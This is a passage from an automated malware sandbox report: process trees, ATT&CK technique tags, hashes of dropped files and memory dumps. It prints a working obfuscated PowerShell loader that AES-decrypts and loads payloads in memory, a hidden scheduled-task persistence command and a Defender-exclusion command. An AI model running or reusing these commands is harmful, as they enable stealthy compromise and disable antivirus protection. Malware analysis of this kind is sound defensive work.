System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($XPcqe, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $XhXgp.CopyTo($HOKtt); $XhXgp.Dispose(); $XPcqe.Dispose(); $HOKtt.Dispose(); $HOKtt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$gmgKaIqlDQfPwPX=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$oxTPwOCOQOYvLOeeFyIVbjAwPHEyAYRsUwezohJAEyqWbmFxzLAqNUVfXxaPkdnRWGBoJEQyPiqCSEvDbgYOyBFaBZCRhTqBkzZvKqNVVbAFDtmsbwOdezsvbBNKbZrWRPssEZSKtdSwaawhNkPKfn=$gmgKaIqlDQfPwPX.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$oxTPwOCOQOYvLOeeFyIVbjAwPHEyAYRsUwezohJAEyqWbmFxzLAqNUVfXxaPkdnRWGBoJEQyPiqCSEvDbgYOyBFaBZCRhTqBkzZvKqNVVbAFDtmsbwOdezsvbBNKbZrWRPssEZSKtdSwaawhNkPKfn.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$Iu = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $Iu;$uSlFIqnuEE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Iu).Split([Environment]::NewLine);foreach ($Uv in $uSlFIqnuEE) { if ($Uv.StartsWith(':: ')) { $f=$Uv.Substring(3); break; }}$payloads_var=[string[]]$f.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2852
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'svchoststr515_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\inicia_str_515.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1372
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\inicia_str_515.vbs"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4160
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\inicia_str_515.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4136
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMHc0oorp/7T1zNdPR4he+Baz+UuGBpTbs1CD2UuSHk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRkJmm8rX5p5Ix/3aqFmWg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$XPcqe=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$HOKtt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$XhXgp=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($XPcqe, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $XhXgp.CopyTo($HOKtt); $XhXgp.Dispose(); $XPcqe.Dispose(); $HOKtt.Dispose(); $HOKtt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$gmgKaIqlDQfPwPX=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$oxTPwOCOQOYvLOeeFyIVbjAwPHEyAYRsUwezohJAEyqWbmFxzLAqNUVfXxaPkdnRWGBoJEQyPiqCSEvDbgYOyBFaBZCRhTqBkzZvKqNVVbAFDtmsbwOdezsvbBNKbZrWRPssEZSKtdSwaawhNkPKfn=$gmgKaIqlDQfPwPX.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$oxTPwOCOQOYvLOeeFyIVbjAwPHEyAYRsUwezohJAEyqWbmFxzLAqNUVfXxaPkdnRWGBoJEQyPiqCSEvDbgYOyBFaBZCRhTqBkzZvKqNVVbAFDtmsbwOdezsvbBNKbZrWRPssEZSKtdSwaawhNkPKfn.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$Iu = 'C:\Users\Admin\AppData\Roaming\inicia_str_515.bat';$host.UI.RawUI.WindowTitle = $Iu;$uSlFIqnuEE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Iu).Split([Environment]::NewLine);foreach ($Uv in $uSlFIqnuEE) { if ($Uv.StartsWith(':: ')) { $f=$Uv.Substring(3); break; }}$payloads_var=[string[]]$f.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2904

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
99b15f35821046cf0dfc3dcb9189631f

SHA1
5f178b323a1247ce94ebbadf9473c4dcd8ccb1ce

SHA256
e4c2a17ef6811cc1458876f2ebf29b12aa8d0f381873c6d6748499944eb753e2

SHA512
512975d45a2822515059c31aa1d64b36d7f78cc8ba8b5e0506b8b749a680581bbd01c03fbbf1a84bf078c021970835c298a865f237c76a2405d3e28577b73837

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
679aed37a562140603da212e370453cb

SHA1
324ec3081c07d0a80725160913ee3376522871ee

SHA256
468f24212167b38bd12a05a449315fff78ac828cfe04a2195129d8982ba66781

SHA512
f28ba1d80858b7b862908cf3929a38ea646c4368c9a50023188f66cef193d25367c9ac175b6cd06a7603a59c7e503492f9ce7c94f9173056a4bd0e7f4ebb588f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4d556ed70ee29e534b9327c0e4c10577

SHA1
7a4e1d63f7f2f18cb607ff617092a505b7992b73

SHA256
a8a6af3c6011fa00268e56ff04c337bbb797d55a62f80496bc0a4790e2f9375d

SHA512
bfb020a849518b547da552186909163a01273c0e0bba1ae3f2d663470ef28ddf8b13835333965546c8c83d7e1c75cd516f2e9652df8478527b9b62a261990fb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\9780_output.vbs

Filesize
203KB

MD5
0fa1cc8286bef599f8b2ef9827cbe77c

SHA1
6ea37fd1ebaf7862463c52b599397c5bac7d14cc

SHA256
378632fc3ad9d88b55ef4494b897cc7eb5d3995c572b3bf4b7a86c88e395105c

SHA512
df6026088cdee9a57dae4484c6eb78d9f84dfc290c16c13ac555fdab0b117e45a6d44ae7204f1b0aaa1915412af7835301c3b3a9944e793dc41e97cdd81b7f06

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC39E.tmp

Filesize
1KB

MD5
f950d6ab7574b007579e3b27a56fbea6

SHA1
b95f60ddc1cece00c8a6934e9f89e669ebd547d9

SHA256
19552dc83f700ed5cd2f5c0ed626f8aef707f66e3837d36183173eb4d25eaa8a

SHA512
9b2cbbbae5889046c70d22218b06eb20206988b1123d689f792727ae71e167e78f8acffc91dbd592784ae60d90547da10ed02d1283e09dd77d02746345591df8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dholays1.x32.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\bmnuzz4c\bmnuzz4c.dll

Filesize
4KB

MD5
d34335bfe579f2ede625415a15612653

SHA1
1d13ada0f13eceadefd0cf1c8c080af9526fc330

SHA256
1e5295b193e9007861dbb860b889853b6fe8a8e641ad365b6c2f9933c3e41dad

SHA512
f929b838020acd8743bcf06e808070eef2fcedea8acfa6a3e67fb6792a66292283f023816b143338b38c85989c5a73b7829db924fb22d27010cc0305c8e1b89c

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
74KB

MD5
d500f686cefb76d0cf0e24d5c5ee1cd2

SHA1
d5163283b2016465bee607118e74ce36a17000d2

SHA256
4abe7d25a928d3e8718b190bc350912f83e2b4ec801b5adc157df2f0b0bbcc39

SHA512
9065f6c5463ebe28003e3b288b944cda13869f3a257348a75ae02c27efe47b0d9eff9c399f6b0c8bd33f53dc2fe53f0e94646908a400fc40b0606cc08b6106e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngrok.exe

Filesize
45.9MB

MD5
2699ed82d2aad10c587e227c168f1386

SHA1
562806f4fc15723dd1f8d21daf43d641af1df894

SHA256
a0f02163062dc25ce4a8256570427fc761855a3189b0650986eedc1f2770f552

SHA512
d2c87e1c1b5b8e42f2db9411566ff22fec7bc7efe639408e231f5e76a1285b8fbd154d0b42e7fb1a7bcfb35332f873ca0af2a49eb87cdc331bf9bfb6fef91cff

Download Submit
C:\Users\Admin\AppData\Roaming\inicia_str_515.vbs

Filesize
114B

MD5
6dca8ec3d906a9f8d29b71d121fbb000

SHA1
65d311b52328a136d108c1479153ae355d17835e

SHA256
fbb41cbb6df6def597d4f690032676faf8da53461d366c4b1a3b4a6002d85d14

SHA512
6c4f474094815a4ee4541af6bf962a47710b9b5e9f3738aa26eb799d3604cec5a91ccbe803b92c35db91b1c3b045930f67d275662f81adfb893ddea19ec35a37

Download Submit
C:\windows\temp\1vxzxsj2.inf

Filesize
663B

MD5
27581dbbe3c3840ce72f99c21071898a

SHA1
898afeb9523df9367c74a01c0dbecf6b637f3cb1

SHA256
c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b

SHA512
0b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bmnuzz4c\CSCB260B0D176F5437590C755F3701B6BB.TMP

Filesize
652B

MD5
298ec8c6ffd5aefb3b35647cc947320c

SHA1
115422bad61cee257bea96752cfdca73cb31c9ff

SHA256
f31413e50e4752d843fc4fc0f9dcffa90d052e4462397e3046b7c64ff5637982

SHA512
05fa9fd505fc2463085c72b5afad61711f20e2bcc4919aa0e5a1f3d58c3e6887e8e672f2c05943cbafb476d89a7ae171f20b85c07198c87146f75385a7e59cc3

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bmnuzz4c\bmnuzz4c.0.cs

Filesize
2KB

MD5
b8106096972fb511e0cf8b99386ecf93

SHA1
3003ba3a3681ba16d124d5b2305e6cc59af79b44

SHA256
49d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02

SHA512
218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bmnuzz4c\bmnuzz4c.cmdline

Filesize
369B

MD5
0177e5e729dfb72285a534c73dd7be45

SHA1
ddadb35484e57c795895fb9dc11ad51a72928507

SHA256
e5595f4c256650e34b958e9af714dc4f0e35c41047d0c3ac06fbcaed671b81ba

SHA512
cea25ee891e8752b778849f1b0f7f72e2b927f786bf40359df34a3a0690080eac7bb41f69be8cb58af7b153c624749c0ffa64025ce592516bbb32868e8b59dc3

Download Submit
memory/988-31-0x000001F144850000-0x000001F144858000-memory.dmp

Filesize
32KB

Download
memory/988-18-0x000001F144820000-0x000001F14483C000-memory.dmp

Filesize
112KB

Download
memory/988-17-0x000001F12BDD0000-0x000001F12BDF2000-memory.dmp

Filesize
136KB

Download
memory/1372-92-0x0000000070910000-0x000000007095C000-memory.dmp

Filesize
304KB

Download
memory/1372-105-0x0000000007AC0000-0x0000000007B56000-memory.dmp

Filesize
600KB

Download
memory/1372-106-0x0000000007A30000-0x0000000007A41000-memory.dmp

Filesize
68KB

Download
memory/1372-104-0x00000000078B0000-0x00000000078BA000-memory.dmp

Filesize
40KB

Download
memory/1372-103-0x0000000007710000-0x00000000077B3000-memory.dmp

Filesize
652KB

Download
memory/1372-102-0x0000000006AF0000-0x0000000006B0E000-memory.dmp

Filesize
120KB

Download
memory/1372-91-0x00000000076D0000-0x0000000007702000-memory.dmp

Filesize
200KB

Download
memory/2720-2-0x00007FF69D060000-0x00007FF6A0EE5000-memory.dmp

Filesize
62.5MB

Download
memory/2852-75-0x0000000005BE0000-0x0000000005C2C000-memory.dmp

Filesize
304KB

Download
memory/2852-72-0x00000000056D0000-0x0000000005A27000-memory.dmp

Filesize
3.3MB

Download
memory/2852-80-0x0000000007BA0000-0x0000000008146000-memory.dmp

Filesize
5.6MB

Download
memory/2852-76-0x0000000007520000-0x0000000007B9A000-memory.dmp

Filesize
6.5MB

Download
memory/2852-78-0x0000000006D50000-0x0000000006D58000-memory.dmp

Filesize
32KB

Download
memory/2852-77-0x0000000006CF0000-0x0000000006D0A000-memory.dmp

Filesize
104KB

Download
memory/2852-74-0x0000000005B70000-0x0000000005B8E000-memory.dmp

Filesize
120KB

Download
memory/2852-79-0x0000000006D60000-0x0000000006D6E000-memory.dmp

Filesize
56KB

Download
memory/2852-61-0x00000000055F0000-0x0000000005656000-memory.dmp

Filesize
408KB

Download
memory/2852-62-0x0000000005660000-0x00000000056C6000-memory.dmp

Filesize
408KB

Download
memory/2852-60-0x0000000004E20000-0x0000000004E42000-memory.dmp

Filesize
136KB

Download
memory/2852-59-0x0000000004F20000-0x00000000055EA000-memory.dmp

Filesize
6.8MB

Download
memory/2852-58-0x00000000026F0000-0x0000000002726000-memory.dmp

Filesize
216KB

Download
memory/3564-128-0x0000000007860000-0x0000000007872000-memory.dmp

Filesize
72KB

Download